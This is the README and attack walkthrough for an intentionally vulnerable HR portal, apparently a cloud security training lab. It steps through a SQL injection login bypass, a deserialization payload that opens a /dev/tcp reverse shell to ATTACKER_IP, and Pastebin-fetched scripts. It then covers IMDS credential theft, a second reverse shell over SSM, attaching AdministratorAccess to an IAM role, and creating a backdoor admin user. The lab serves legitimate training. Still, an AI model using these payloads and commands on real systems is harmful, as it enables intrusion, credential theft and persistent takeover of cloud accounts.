WARNING: This application contains deliberate security vulnerabilities. Deploy only in isolated, controlled environments. Never use in production or connect to sensitive systems.
HRGoat is an intentionally vulnerable HR management portal designed to demonstrate cloud security vulnerabilities in a controlled environment. It's a comprehensive training tool created for:
- Security professionals practicing cloud-based exploitation
- DevOps engineers learning secure deployment practices
- Development teams studying secure coding
- Organizations conducting security awareness training
This project is for educational and authorized security research purposes only. Unauthorized use of these techniques is illegal and unethical.
This guide walks through a full attack lifecycle scenario from initial entry via SQL Injection to full AWS account takeover, including container escape, IAM privilege escalation, and persistence.
- GitHub account
- AWS account with appropriate permissions
- Required GitHub secrets:
AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY
- Fork this repository to your GitHub account
- Configure AWS credentials in GitHub Secrets:
- Navigate to "Settings" → "Secrets"
- Add required AWS credentials
- Deploy infrastructure:
- Go to "Actions" tab
- Select "Create Infrastructure and Deploy Application"
- Click "Run workflow"
- Access application using provided URLs in workflow output:
- Application Load Balancer URL
- EC2 instance IP addresses
- Jenkins server URL
- SQL Injection – Employee search functionality can be exploited for unauthorized data access.
- Insecure Deserialization – Bulk upload feature leads to remote code execution.
- Container Escape – Poor container isolation allows attacker to pivot to EC2 host.
- Jenkins Exploitation – Publicly exposed CI/CD tool allows system-level compromise.
- AWS IAM Privilege Escalation – Misconfigured roles allow privilege chaining and admin policy attachment.
A detailed, step-by-step demonstration of exploiting these vulnerabilities is provided in the docs/exploitation-walkthrough.md file. Screenshots, reverse shells, metadata token access, IAM abuse, and persistence techniques are covered thoroughly.
This software is provided for educational purposes only. Unauthorized security testing is illegal. The author is not responsible for any misuse of this software.
Once upon a time, in a land of misconfigured cloud environments, a daring security researcher set out on a quest to explore the depths of vulnerabilities. What started as a simple SQL injection led to an ultimate privilege escalation inside AWS. Let's follow the trail!
Our journey starts at a login screen. With a bit of old-school magic, we bypass authentication using:
' or '1'='1' -- # Make sure to have space after the dashesAchievement unlocked! 🎮 Admin powers activated - let the real adventure begin!
Time to level up with a legendary combo move! We're about to execute the 'Insecure Deserialization Exploit' - a boss-level technique that requires precise timing. First things first, adventurer - make sure your command center (reverse shell listener) is powered up and ready to catch the incoming connection. Think of it as setting up your base camp before the final raid!
Set up your listener on the remote machine to catch the incoming connection:
nc -lvnp 4444While that's running, grab the NAT address of the machine - you'll need it for the next phase of the challenge.
Navigate to System Tools and then Bulk Employee Upload
Access the examples/rce_exploit.json file, update the ATTACKER_IP field with your listener’s IP address and the REMOTE_PORT field with the port you’ve configured, then insert the modified JSON into the Bulk Employee Upload function. After applying these changes, trigger the exploit payload to ensure the traffic is directed to your listener.
{
"name": "Stealthy User",
"position": "Finance",
"department": "HQ",
"email": "whoami2@HRgoat.com",
"phone": "555-000-0000",
"location": "Remote",
"hire_date": "2023-01-01",
"status": "active",
"manager": "None",
"salary": 0,
"bio": "This is a non-blocking test.",
"metadata": "{\"rce\":\"_$$ND_FUNC$$_function(){const { spawn } = require('child_process'); const shell = spawn('/bin/bash', ['-c', '/bin/bash -i > /dev/tcp/ATTACKER_IP/REMOTE_PORT 0<&1 2>&1'], { detached: true, stdio: 'ignore' }); shell.unref(); return 'shell spawned and detached';}()\"}"
}We’ve successfully landed in the container.
Your next step is to pull and execute a script crafted to capture the host token while slipping past the container boundary. Navigate to the examples directory and locate export_token.sh. Once found, upload it to Pastebin or a similar service so you can easily fetch it back onto the target machine for execution.
cd /tmp
wget -O get_token.sh https://pastebin.com/raw/[your uploaded URL] // for example - wget -O get_token.sh https://pastebin.com/raw/r3P5TVit
sed -i 's/\r$//' get_token.sh
chmod +x get_token.sh
./get_token.shNow we got the tokens
This script is designed as a** container escape and AWS credential extraction tool**. Its main purpose is to bypass the container’s network isolation, reach the EC2 Instance Metadata Service (IMDS), and retrieve temporary IAM credentials from the host instance. It does this by using nsenter to jump from the container network namespace into the host’s network namespace, then performing a series of steps to request an IMDSv2 token, identify the IAM role, and extract the associated credentials. The script includes logging, optional debug output, and parsing of the credentials into environment variables so they can be used immediately for AWS API access.
Once the script completes successfully, the attacker will have the AWS AccessKeyId, SecretAccessKey, and SessionToken for the target instance.
Next steps for the attacker (these commands must be executed from the local terminal, not on the remote host): Export the retrieved credentials as environment variables in your local terminal:
export AWS_ACCESS_KEY_ID="..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."Now, let’s shift operations to our local machine:
aws sts get-caller-identityWe have AWS credentials. Time to enumerate our permissions!
Run aws-perm-check.sh from the examples folder to identify what actions we can perform (execute it from a local machine that has the user context where you've exported the credentials to).
cd /tmp
wget -O aws-perm-check.sh https://pastebin.com/raw/[your uploaded URL] // for example - wget -O aws-perm-check.sh https://pastebin.com/raw/jqZ9Kx6Z
sed -i 's/\r$//' aws-perm-check.sh
chmod +x aws-perm-check.sh
./aws-perm-check.shWe find permissions allowing us to list EC2 instances and send SSM commands. Perfect for lateral movement!
To get an overview of your EC2 instances, you can run:
aws ec2 describe-instances --filters "Name=instance-state-name,Values=running" --query 'Reservations[*].Instances[*].[InstanceId, Tags[?Key==`Name`].Value|[0], State.Name]' --output tableIf your environment uses a region other than us-east-1, you can enumerate all EC2 instances across every region using the script at examples\check_aws_instances.sh.
Once you identify an instance of interest, the next step is to gain access. You can either open a new listener on a different port or reuse a previous one. The goal is to connect to a different machine (Jenkins machine) than your current session, allowing you to explore other IAM roles for potential privilege escalation.
From your local terminal, run the following command, making sure to update the instance ID, REMOTE_IP, and REMOTE_PORT
aws ssm send-command --document-name "AWS-RunShellScript" --targets "Key=instanceIds,Values=i-0ef5488e604d5bd79" --parameters 'commands=["bash -c '\''bash -i >& /dev/tcp/REMOTE_IP/REMOTE_PORT 0>&1'\''"]' --region us-east-1Now we have a shell on a second machine. Time to escalate further!
From the new EC2 instance, repeat the credential extraction process:
#!/bin/bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
CREDS=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)
echo "$CREDS" | jq -r '. | "export AWS_ACCESS_KEY_ID=\(.AccessKeyId)\nexport AWS_SECRET_ACCESS_KEY=\(.SecretAccessKey)\nexport AWS_SESSION_TOKEN=\(.Token)"'
Fetch roles and credentials, and analyze the permissions with the previous script.
We find that hrgoat-jenkins-role has IAM modification permissions.
Let’s exploit it, make sure to use the appropriate region:
aws iam attach-role-policy --role-name 'hrgoat-jenkins-role-us-east-1' --policy-arn 'arn:aws:iam::aws:policy/AdministratorAccess'Check if it worked:
aws iam list-attached-role-policies --role-name hrgoat-jenkins-role
aws iam list-usersWe have admin rights! 🏆
Let’s create a backdoor admin:
aws iam create-user --user-name backdoor-admin
aws iam create-access-key --user-name backdoor-admin
aws iam attach-user-policy --user-name backdoor-admin --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam list-attached-user-policies --user-name backdoor-adminSuccess! Now, full control of the AWS environment is ours.
From a simple SQLi to full AWS environment control, we navigated through multiple security misconfigurations and privilege escalations. This journey highlights the importance of:
- Proper input validation to prevent SQLi
- Secure deserialization practices
- Restricting container privileges
- Securing AWS metadata service access
- Applying least privilege principles in AWS IAM
💡 For Defensive Countermeasures & Hardening Tips, see SECURITY.md 🚧